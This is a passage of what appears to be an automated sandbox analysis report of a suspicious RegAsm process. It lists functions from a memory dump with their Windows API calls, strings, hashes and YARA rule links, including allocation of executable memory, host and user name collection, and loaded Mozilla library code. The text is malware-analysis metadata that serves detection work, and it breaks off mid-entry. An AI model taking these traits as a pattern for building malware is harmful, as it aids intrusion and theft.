Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: b4896696c15f0c913ac963dad817e9238a63ff738b3eaca55fd6d2732568b7c2
Instruction ID: d2f8e92f06f21ad00195b851541a0fca05b03a5e78dc2554d63ff73f5d8ac6c5
Opcode Fuzzy Hash: b4896696c15f0c913ac963dad817e9238a63ff738b3eaca55fd6d2732568b7c2
Instruction Fuzzy Hash: A9717371911108ABCF14FBA1DC56EEE7339BF54314F40412EF403A2191EF786A58CBAA

Function 004066B0 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00406E0E,00406E0E,00003000,00000040), ref: 00406756
VirtualAlloc.KERNEL32(00000000,00406E0E,00003000,00000040), ref: 004067A3

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: badb7cecddd27d9e1aa55144c1fc7f4ba9690274eb5e83060997e099dbd08bd4
Instruction ID: 4499aa19cc86b02a1bac446f32e864e245a0bde13e44bf0a480e22725e368a89
Opcode Fuzzy Hash: badb7cecddd27d9e1aa55144c1fc7f4ba9690274eb5e83060997e099dbd08bd4
Instruction Fuzzy Hash: 2B41F334A00208EFCB44CF58C494BADBBB1FF44314F1486A9E94AAB385C735EA91CF84

Function 004010A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0040114E,?,?,004164BC), ref: 004010B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0040114E,?,?,004164BC), ref: 004010F7

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: f9d4902d87d53e064eb978b4b4efccb4618282ab89b9805507bbfbdb43c54504
Instruction ID: f48f966fb8dbc32d8d9482a6eca9c47ea769ab036d71d5fa6551aa32425d7b68
Opcode Fuzzy Hash: f9d4902d87d53e064eb978b4b4efccb4618282ab89b9805507bbfbdb43c54504
Instruction Fuzzy Hash: 62F02771641218BBE7149BA4AD49FAFB7DCE705B08F304459F940E3390D5719F00DA64

Function 00418830 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,0040FF57,?,00000000,?,00000000,00420D97,00420D96), ref: 0041883F

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 276bb3aec74e4af6613c368acf80f5e0b985b049ffbf94c9a686491cb31b76a1
Instruction ID: 05b335d21f22619e77aa966aeb7f376ddd46b9d978e537c949d5f100d696e3dd
Opcode Fuzzy Hash: 276bb3aec74e4af6613c368acf80f5e0b985b049ffbf94c9a686491cb31b76a1
Instruction Fuzzy Hash: 70F01570C0020CEFCB04EFA5C9496DDBB75EB00324F50859EE82AA7281DBB85B95CB85

Function 00418880 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 3c00b6a056ff1b7dc2f0e45d7746659429eb440c69b19d979d0360e680d490b7
Instruction ID: 7b71b80bc5ec6c4d76f30a423bf4d75a71df8f4b6dd8708b5fa25dfbbe6c75fa
Opcode Fuzzy Hash: 3c00b6a056ff1b7dc2f0e45d7746659429eb440c69b19d979d0360e680d490b7
Instruction Fuzzy Hash: 7AE01A31A4034C7BDB55EBA0CC96FEE736CAB44B15F004299BA0C5B1C0EE74AB858B91

Function 00401190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

ExitProcess.KERNEL32 ref: 004011C6

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: 0dde54e68933c144dc9d433c77b62f5ff363c8b2548fcf823f9b9f06c0cc5b37
Instruction ID: 84cbab3e625f5c703ca2aee7bdcd0b4d96e9050e400d57d2133d1b743e823249
Opcode Fuzzy Hash: 0dde54e68933c144dc9d433c77b62f5ff363c8b2548fcf823f9b9f06c0cc5b37
Instruction Fuzzy Hash: 8EE0C27190070222DB2033B66C06B6B329D0B1435DF00052EFA08D7252FE3CF81182AC

Function 004098D0 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000020,00410599,?,?), ref: 004098D8

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 1aee106081fe82a84b5a838b5431766f4324473991f19cdffcfc85f73d7ea574
Instruction ID: 85591d8b2077324c158e0d5cdc0cd752fc6e9f2d8541dbcaab8872a49f7b11e9
Opcode Fuzzy Hash: 1aee106081fe82a84b5a838b5431766f4324473991f19cdffcfc85f73d7ea574
Instruction Fuzzy Hash: CFF054B4D00208FBDB00EFA5C946B9EB7B4AB08304F1085A9FD05A7381E6749B00CB95

Non-executed Functions

Function 6C945440 Relevance: 140.6, APIs: 54, Strings: 26, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C945492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9454A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9454BE
__Init_thread_footer.LIBCMT ref: 6C9454DB

Part of subcall function 6C96AB3F: EnterCriticalSection.KERNEL32(6C9BE370,?,?,6C933527,6C9BF6CC,?,?,?,?,?,?,?,?,6C933284), ref: 6C96AB49
Part of subcall function 6C96AB3F: LeaveCriticalSection.KERNEL32(6C9BE370,?,6C933527,6C9BF6CC,?,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C96AB7C

Part of subcall function 6C96CBE8: GetCurrentProcess.KERNEL32(?,6C9331A7), ref: 6C96CBF1
Part of subcall function 6C96CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9331A7), ref: 6C96CBFA

GetCurrentThreadId.KERNEL32 ref: 6C9454F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C945516
GetCurrentThreadId.KERNEL32 ref: 6C94556A
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C945577
moz_xmalloc.MOZGLUE(00000070), ref: 6C945585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C945590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C9455E6
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C945606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C945616

Part of subcall function 6C96AB89: EnterCriticalSection.KERNEL32(6C9BE370,?,?,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284), ref: 6C96AB94
Part of subcall function 6C96AB89: LeaveCriticalSection.KERNEL32(6C9BE370,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C96ABD1

GetCurrentThreadId.KERNEL32 ref: 6C94563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C945646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C94567C
free.MOZGLUE(?), ref: 6C9456AE

Part of subcall function 6C955E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C955EDB
Part of subcall function 6C955E90: memset.VCRUNTIME140(6C997765,000000E5,55CCCCCC), ref: 6C955F27
Part of subcall function 6C955E90: LeaveCriticalSection.KERNEL32(?), ref: 6C955FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C9456E8
GetCurrentThreadId.KERNEL32 ref: 6C945707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C94570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C945729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C94574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C94576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C945796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C9457B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C9457CA

Strings

[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C945BBE
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C945766
[I %d/%d] profiler_init, xrefs: 6C94564E
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C94548D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C9454A3
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C945717
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C9457AE
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C945D24
MOZ_BASE_PROFILER_HELP, xrefs: 6C945511
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C945CF9
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C945D1C
GeckoMain, xrefs: 6C945554, 6C9455D5
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C945749
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C945C56
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C945724
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C945791
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C945D01
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C945D2B
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C945AC9
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C945B38
Q^, xrefs: 6C9457BC
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C9456E3
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C94584E
MOZ_PROFILER_STARTUP, xrefs: 6C9455E1
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C9454B9
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C9457C5

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$Q^$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-2639675677
Opcode ID: e6def4135b80b48a086b63dbb6e1b9f4e1b666178eb619df8b5f35ba9b5ce8f0
Instruction ID: c5b8e9835a4fe351371b11bdad3dad795ce3d7ace8a4181d91be167cbc88b3b3
Opcode Fuzzy Hash: e6def4135b80b48a086b63dbb6e1b9f4e1b666178eb619df8b5f35ba9b5ce8f0
Instruction Fuzzy Hash: 7E222875A08300AFEB009FB4845865B77B9FF9634CF148529F94A97B81EB30C858CB67

Function 6C946C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C946CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C946D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C946D26

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C946D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C946D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C946D73
free.MOZGLUE(00000000), ref: 6C946D80
CertGetNameStringW.CRYPT32 ref: 6C946DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C946DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C946DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C946DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C946E10
CryptMsgClose.CRYPT32(00000000), ref: 6C946E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C946E34
CreateFileW.KERNEL32 ref: 6C946EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C946F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C946F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C94709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C947103
free.MOZGLUE(00000000), ref: 6C947153
CloseHandle.KERNEL32(?), ref: 6C947176
__Init_thread_footer.LIBCMT ref: 6C947209
__Init_thread_footer.LIBCMT ref: 6C94723A
__Init_thread_footer.LIBCMT ref: 6C94726B
__Init_thread_footer.LIBCMT ref: 6C94729C
__Init_thread_footer.LIBCMT ref: 6C9472DC
__Init_thread_footer.LIBCMT ref: 6C94730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C9473C2
VerSetConditionMask.NTDLL ref: 6C9473F3
VerSetConditionMask.NTDLL ref: 6C9473FF
VerSetConditionMask.NTDLL ref: 6C947406
VerSetConditionMask.NTDLL ref: 6C94740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C94741A
moz_xmalloc.MOZGLUE(?), ref: 6C94755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C947568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C947585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C947598
free.MOZGLUE(00000000), ref: 6C9475AC

Part of subcall function 6C96AB89: EnterCriticalSection.KERNEL32(6C9BE370,?,?,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284), ref: 6C96AB94
Part of subcall function 6C96AB89: LeaveCriticalSection.KERNEL32(6C9BE370,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C96ABD1

Strings

SHA256, xrefs: 6C946EC0
(, xrefs: 6C94768A
wintrust.dll, xrefs: 6C9472CD
CryptCATAdminReleaseCatalogContext, xrefs: 6C9472C8

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 449b24bb5b8ad7a32dda028c4d4198f9892775de54a2708f1ecb8be614b10a23
Instruction ID: 17f79a74ca427bfa6b7939602b769f3c006a7afbbcfcafd67549d235e6d8c0b8
Opcode Fuzzy Hash: 449b24bb5b8ad7a32dda028c4d4198f9892775de54a2708f1ecb8be614b10a23
Instruction Fuzzy Hash: 6152B4B5A04218ABEB21DF64CC84BAB77BDEF55708F108199E909A7640DB70EF84CF51

Function 6C970DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C970F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C970F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C970FB7
EnterCriticalSection.KERNEL32(?), ref: 6C970FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C971031
LeaveCriticalSection.KERNEL32(?), ref: 6C9710D0
EnterCriticalSection.KERNEL32(?), ref: 6C97117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C971C39
EnterCriticalSection.KERNEL32(6C9BE744), ref: 6C973391
LeaveCriticalSection.KERNEL32(6C9BE744), ref: 6C9733CD
LeaveCriticalSection.KERNEL32(?), ref: 6C973431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C973437

Strings

Compile-time page size does not divide the runtime one., xrefs: 6C973946
MALLOC_OPTIONS, xrefs: 6C9735FE
: (malloc) Unsupported character in malloc options: ', xrefs: 6C973A02
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C973793
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9737A8
MOZ_CRASH(), xrefs: 6C973950
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C973559, 6C97382D, 6C973848
<jemalloc>, xrefs: 6C973941, 6C9739F1
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9737D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9737BD

Memory Dump Source

